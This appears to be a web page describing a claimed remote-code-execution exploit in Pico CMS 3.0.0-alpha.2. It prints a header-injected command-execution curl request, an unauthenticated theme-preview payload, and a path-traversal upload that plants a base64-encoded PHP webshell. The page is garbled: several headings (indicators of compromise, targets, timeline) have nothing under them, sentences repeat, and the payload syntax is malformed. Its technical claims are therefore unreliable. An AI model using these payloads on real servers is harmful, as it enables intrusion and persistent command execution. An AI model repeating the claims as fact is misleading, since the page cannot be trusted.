Pico 3.0.0-alpha.2 Exploit
The vulnerability exists in the Pico::getPageData() method. In versions prior to 3.0.0, user input was sanitized strictly. However, in 3.0.0-alpha.2, the developers introduced a performance optimization that caches compiled Twig templates based on file modification times.
The exploit works as follows:
The attacker sends a POST request to the index page with a malicious YAML payload in the X-Pico-Debug header (or a theme parameter).
curl -X POST https://victim.com/pico/ \
-H "X-Pico-Debug: !php/object \"O:1:\"S\":1:s:4:\"exec\";s:18:\"system('id > pwn.txt')\";\"" \
-d "content=test"
If you suspect that a Pico 3.0.0-alpha.2 instance has been compromised, look for the following Indicators of Compromise (IOCs):
Log Anomalies (Access Logs):
File System Indicators:
Network Indicators:
In a secure Pico installation, Twig templates are sandboxed to prevent _self.env.registerUndefinedFilterCallback("exec") style attacks. However, in alpha.2, the allowed_functions blacklist was incomplete.
The Exploit Payload: An attacker submits a crafted HTTP POST request to the theme preview endpoint (which does not require authentication in alpha builds): Pico 3.0.0-alpha.2 Exploit
POST /?action=preview_theme HTTP/1.1 Host: target-site.com Content-Type: application/x-www-form-urlencoded
theme_template=shell&content=map('system')
Why this works:
The root cause lies in a dangerous combination of two features introduced in the alpha branch: Twig template caching and YAML parameter parsing. The vulnerability exists in the Pico::getPageData() method
While Pico 3.0.0-alpha.2 is not designed for high-traffic public sites, the exploit has been observed in the wild targeting:
If successfully exploited, an attacker can:
Command injection via system() is noisy and may be limited by disable_functions in php.ini. The advanced exploit leverages a file write vulnerability in the plugin handler to upload a webshell.
The Payload:
POST /admin/plugins/PicoFileWrite/ HTTP/1.1
Content-Disposition: form-data; name="file_path"; filename="../../plugins/evil.php"
Content-Disposition: form-data; name="file_content"; base64,PD9waHAgZWNobyBTeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4=
The server writes a base64-encoded PHP webshell to the plugins directory. The attacker then accesses /?plugin=evil&cmd=ls -la to execute system commands persistently.
To understand how this exploit evolved, review the timeline:


